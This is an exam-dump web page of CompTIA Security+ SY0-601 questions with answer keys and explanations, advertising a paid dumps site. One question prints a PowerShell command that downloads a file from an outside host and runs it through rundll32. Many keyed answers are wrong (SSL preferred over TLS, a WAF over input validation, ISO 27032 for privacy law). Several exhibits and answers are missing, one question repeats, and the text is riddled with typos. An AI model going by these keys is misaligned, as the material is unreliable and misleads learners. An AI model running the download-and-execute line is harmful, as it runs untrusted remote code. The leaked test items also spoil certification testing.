Dependable SY0-601 Exam Dumps to Become CompTIA Certified
Get Ready with SY0-601 Exam Dumps (2023)
NEW QUESTION # 173
DRAG DROP - A security engineer is setting up passwordless authentication for the first time. INSTRUCTIONS - Use the minimum set of commands to set this up and verify that it works. Commands cannot be reused. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
1. ssh-keygen -t rsa (creating the key-pair)
2. ssh-copy-id -i /.ssh/id_rsa.pub user@server (copy the public-key to user@server)
3. ssh -i ~/.ssh/id_rsa user@server (login to remote host with private-key) A small business just recovered from a ransomware attack against its file servers by purchasing the decryption keys from the attackers. The issue was triggered by a phishing email and the IT administrator wants to ensure it does not happen again. Which of the following should the IT administrator do FIRST after recovery?
- A. Restrict administrative privileges and patch all systems and applications.
- B. Rebuild all workstations and install new antivirus software.
- C. Scan the NAS for residual or dormant malware and take new daily backups that are tested on a frequent basis.
- D. Implement application whitelisting and perform user application hardening.
Answer: C
Explanation:
The reason the company had to pay the ransom is because they did not have valid backups, otherwise they would have just restored their data. If your company just had to pay ransom and your boss says, "Don't let this happen again", what is the first thing you are going to do. The only action after a ransomware attack is "restore from backup".
NEW QUESTION # 174
Which Of the following supplies non-repudiation during a forensics investiga-tion?
- A. a SHA 2 signature of a drive image
- B. Logging everyone in contact with evidence
- C. Dumping volatile memory contents first
- D. Duplicating a drive With dd
- E. Encrypting sensitive data
Answer: A
Explanation:
Explanation
A SHA 2 signature is a cryptographic hash function that produces a unique and fixed-length output for any given input. It can provide non-repudiation during a forensics investigation by verifying the integrity and authenticity of a drive image and proving that it has not been altered or tampered with since it was created
NEW QUESTION # 175
An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:
C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll Which of the following BEST describes what the analyst found?
- A. A PowerShell code is configuring environmental variables.
- B. A PowerShell code is changing Windows Update settings.
- C. A Powershell code is performing a DLL injection.
- D. A PowerShell code is displaying a picture.
Answer: C
Explanation:
Explanation
According to GitHub user JSGetty196's notes , a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.
https://www.comptia.org/training/books/security-sy0-601-study-guide
NEW QUESTION # 176
Which of the following would be BEST for a technician to review to determine the total risk an organization can bear when assessing a "cloud-first" adoption strategy?
- A. Risk tolerance
- B. Risk matrix
- C. Risk register
- D. Risk appetite
Answer: A
NEW QUESTION # 177
Select the appropriate attack and remediation from each drop-down list to label the corresponding attack with its remediation.
INSTRUCTIONS
Not all attacks and remediation actions will be used.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 178
A security engineer is setting up passwordless authentication for the first time.
INSTRUCTIONS
Use the minimum set of commands to set this up and verify that it works. Commands cannot be reused.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Answer:
Explanation:
NEW QUESTION # 179
A security analyst wants to fingerpnnt a web server Which of the following tools will the security analyst MOST likely use to accomplish this task?
- A. ping 192.168.0.10
- B. nmap -p1-65S35 192.168.0.10
- C. dig 192.168.0.10
- D. cur1
--htad http://192.168.0.10
Answer: D
NEW QUESTION # 180
An organization has expanded its operations by opening a remote office. The new office is fully furnished with office resources to support up to 50 employees working on any given day. Which of the following VPN solutions would best support the new office?
- A. Always-on
- B. Full tunnel
- C. Remote access
- D. Site-to-site
Answer: D
Explanation:
Explanation
Site-to-site VPN is a type of VPN solution that connects two or more networks or sites across the public internet in a secure and encrypted way. Site-to-site VPN can be implemented using VPN appliances, such as firewalls or routers, that can establish and maintain the VPN tunnel between the sites. Site-to-site VPN can support multiple users or devices that need to access resources on the other site without requiring individual VPN clients or software. Site-to-site VPN is the best solution to support the new remote office, as it can provide secure and seamless connectivity between the office network and the main network of the organization. Verified References:
Virtual Private Networks - SY0-601 CompTIA Security+ : 3.3
https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/virtual-private-networks-sy0-601- (See Site-to-Site VPN) VPN Technologies - CompTIA Security+ SY0-501 - 3.2
https://www.professormesser.com/security-plus/sy0-501/vpn-technologies/ (See Site-to-Site VPN) Security+ (Plus) Certification | CompTIA IT Certifications
https://www.comptia.org/certifications/security (See Domain 3: Architecture and Design, Objective 3.3:
Given a scenario, implement secure network architecture concepts.)
NEW QUESTION # 181
The Chief Information Security Officer (CISO) has requested that a third-party vendor provide supporting documents that show proper controls are in place to protect customer dat a. Which of the following would be BEST for the third-party vendor to provide to the CISO?
- A. Cloud Security Alliance materials
- B. NIST RMF workbooks
- C. SOC 2 Type 2 report
- D. GDPR compliance attestation
Answer: C
NEW QUESTION # 182
A multinational organization that offers web-based services has datacenters that are located only in the United States; however, a large number of its customers are in Australia, Europe, and China. Payments for services are managed by a third party in the United Kingdom that specializes in payment gateways. The management team is concerned the organization is not compliant with privacy laws that cover some of its customers. Which of the following frameworks should the management team follow?
- A. General Data Protection Regulation
- B. Cloud Security Alliance Best Practices
- C. ISO/IEC 27032 Cybersecurity Guidelines
- D. Payment Card Industry Data Security Standard
Answer: C
NEW QUESTION # 183
The SIEM at an organization has detected suspicious traffic coming a workstation in its internal network. An analyst in the SOC the workstation and discovers malware that is associated with a botnet is installed on the device A review of the logs on the workstation reveals that the privileges of the local account were escalated to a local administrator. To which of the following groups should the analyst report this real-world event?
- A. The NOC team
- B. The CIRT
- C. The vulnerability management team
- D. The read team
Answer: B
Explanation:
Explanation
The Computer Incident Response Team (CIRT) is responsible for handling incidents and ensuring that the incident response plan is followed. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 9
NEW QUESTION # 184
A user reports trouble using a corporate laptop. The laptop freezes and responds slowly when writing documents and the mouse pointer occasional disappears.
The task list shows the following results
Which of the following is MOST likely the issue?
- A. Keylogger
- B. Spyware
- C. PUP
- D. RAT
Answer: D
NEW QUESTION # 185
As part of a company's ongoing SOC maturation process, the company wants to implement a method to share cyberthreat intelligence data with outside security partners. Which of the following will the company MOST likely implement?
- A. STIX
- B. TAXII
- C. TLP
- D. TTP
Answer: D
Explanation:
TTPs Within Cyber Threat Intelligence
Tactics, techniques and procedures (TTPs) are the "patterns of activities or methods associated with a specific threat actor or group of threat actors." Analysis of TTPs aids in counterintelligence and security operations by describing how threat actors perform attacks.
Top threats facing an organization should be given priority for TTP maturation. Smaller organizations may benefit strategically by outsourcing research and response. One acronym everyone working on a cybersecurity team should be familiar with is TTPs ?tactics, techniques and procedures ?but not everyone understands how to use them properly within a cyber threat intelligence solution. TTPs describe how threat actors (the bad guys) orchestrate, execute and manage their operations attacks. ("Tactics" is also sometimes called "tools" in the acronym.) Specifically, TTPs are defined as the "patterns of activities or methods associated with a specific threat actor or group of threat actors," according to the Definitive Guide to Cyber Threat Intelligence.
NEW QUESTION # 186
Which of the following roles would MOST likely have direct access to the senior management team?
- A. Data owner
- B. Data custodian
- C. Data controller
- D. Data protection officer
Answer: D
Explanation:
Explanation
A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization. A DPO is responsible for ensuring that the organization follows data protection laws and regulations, such as the General Data Protection Regulation (GDPR), and protects the privacy rights of data subjects. A DPO also acts as a liaison between the organization and data protection authorities, as well as data subjects and other stakeholders.
A DPO would most likely have direct access to the senior management team, as they need to report on data protection issues, risks, and incidents, and advise on data protection policies and practices.
The other options are not correct because:
* A. Data custodian is a role that implements and maintains the technical controls and procedures for data security and integrity. A data custodian does not have direct access to the senior management team, as they are more involved in operational tasks than strategic decisions.
* B. Data owner is a role that determines the classification and usage of data within an organization. A data owner does not have direct access to the senior management team, as they are more involved in business functions than data protection compliance.
* D. Data controller is a role that determines the purposes and means of processing personal data within an organization. A data controller does not have direct access to the senior management team, as they are more involved in data processing activities than data protection oversight.
According to CompTIA Security+ SY0-601 Exam Objectives 2.3 Given a scenario, implement secure protocols:
"A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization." References: https://www.comptia.org/certifications/security#examdetails
https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives
https://gdpr-info.eu/issues/data-protection-officer/
NEW QUESTION # 187
A company wants to build a new website to sell products online. The website will host a storefront application that will allow visitors to add products to a shopping cart and pay for the products using a credit card. Which of the following protocols would be the MOST secure to implement?
- A. SSL
- B. FTP
- C. TLS
- D. SNMP
Answer: A
NEW QUESTION # 188
A company is setting up a web server on the Internet that will utilize both encrypted and unencrypted web-browsing protocols. A security engineer runs a port scan against the server from the Internet and sees the following output:
Which of the following steps would be best for the security engineer to take NEXT?
- A. Allow DNS access from the internet.
- B. Block SSH access from the Internet.
- C. Block HTTPS access from the Internet
- D. Block SMTP access from the Internet
Answer: B
NEW QUESTION # 189
Which of the following environments typically hosts the current version configurations and code, compares user-story responses and workflow, and uses a modified version of actual data for testing?
- A. Staging
- B. Test
- C. Development
- D. Production
Answer: D
NEW QUESTION # 190
Two hospitals merged into a single organization. The privacy officer requested a review of all records to ensure encryption was used during record storage, in compliance with regulations. During the review, the officer discovered thai medical diagnosis codes and patient names were left unsecured. Which of the following types of data does this combination BEST represent?
- A. Proprietary data
- B. Personal health information
- C. Personally Identifiable Information
- D. ToKenized data
Answer: B
NEW QUESTION # 191
A dynamic application vulnerability scan identified code injection could be performed using a web form. Which of the following will be BEST remediation to prevent this vulnerability?
- A. Implement input validations
- B. Configure HIPS
- C. Deploy MFA
- D. Utilize a WAF
Answer: D
NEW QUESTION # 192
Leveraging the information supplied below, complete the CSR for the server to set up TLS (HTTPS)
* Hostname: ws01
* Domain: comptia.org
* IPv4: 10.1.9.50
* IPV4: 10.2.10.50
* Root: home.aspx
* DNS CNAME:homesite.
Instructions:
Drag the various data points to the correct locations within the CSR. Extension criteria belong in the let hand column and values belong in the corresponding row in the right hand column.
Answer:
Explanation:
NEW QUESTION # 193
Which of the following is the purpose of a risk register?
- A. To formally log the type of risk mitigation strategy the organization is using
- B. To identify the risk, the risk owner, and the risk measures
- C. To define the level or risk using probability and likelihood
- D. To register the risk with the required regulatory agencies
Answer: B
NEW QUESTION # 194
A Chief Security Officer is looking for a solution that can reduce the occurrence of customers receiving errors from back-end infrastructure when systems go offline unexpectedly. The security architect would like the solution to help maintain session persistence. Which of the following would BEST meet the requirements?
- A. Reverse proxy
- B. NIC teaming
- C. Load balancer
- D. Forward proxy
Answer: B
NEW QUESTION # 195
A network engineer receives a call regarding multiple LAN-connected devices that are on the same switch.
The devices have suddenly been experiencing speed and latency issues while connecting to network resources.
The engineer enters the command show mac address-table and reviews the following output
Which of the following best describes the attack that is currently in progress?
- A. ARP poisoning
- B. MAC flooding
- C. DHCP spoofing
- D. Evil twin
Answer: A
Explanation:
Explanation
This is an attempt to redirect traffic to an attacking host by sending an ARP packet that contains the forged address of the next hop router. The attacker tricks the victim into believing that it is the legitimate router by sending a spoofed ARP reply with its own MAC address. This causes the victim to send all its traffic to the attacker instead of the router. The attacker can then intercept, modify, or drop the packets as they please.
NEW QUESTION # 196
......
CompTIA SY0-601 certification exam is intended for individuals who want to pursue a career in cybersecurity or enhance their existing cybersecurity skills. It is an entry-level certification that is ideal for IT professionals, network administrators, security analysts, and other professionals who want to improve their knowledge and expertise in cybersecurity. CompTIA Security+ Exam certification exam is available to anyone who has at least two years of experience in IT administration, with a focus on security.
Download Exam SY0-601 Practice Test Questions with 100% Verified Answers: https://www.dumpexams.com/SY0-601-real-answers.html
Realistic SY0-601 Dumps are Available for Instant Access: https://drive.google.com/open?id=1sB9j_2odtMLdx7EkyWqVubhLFZlEFm6U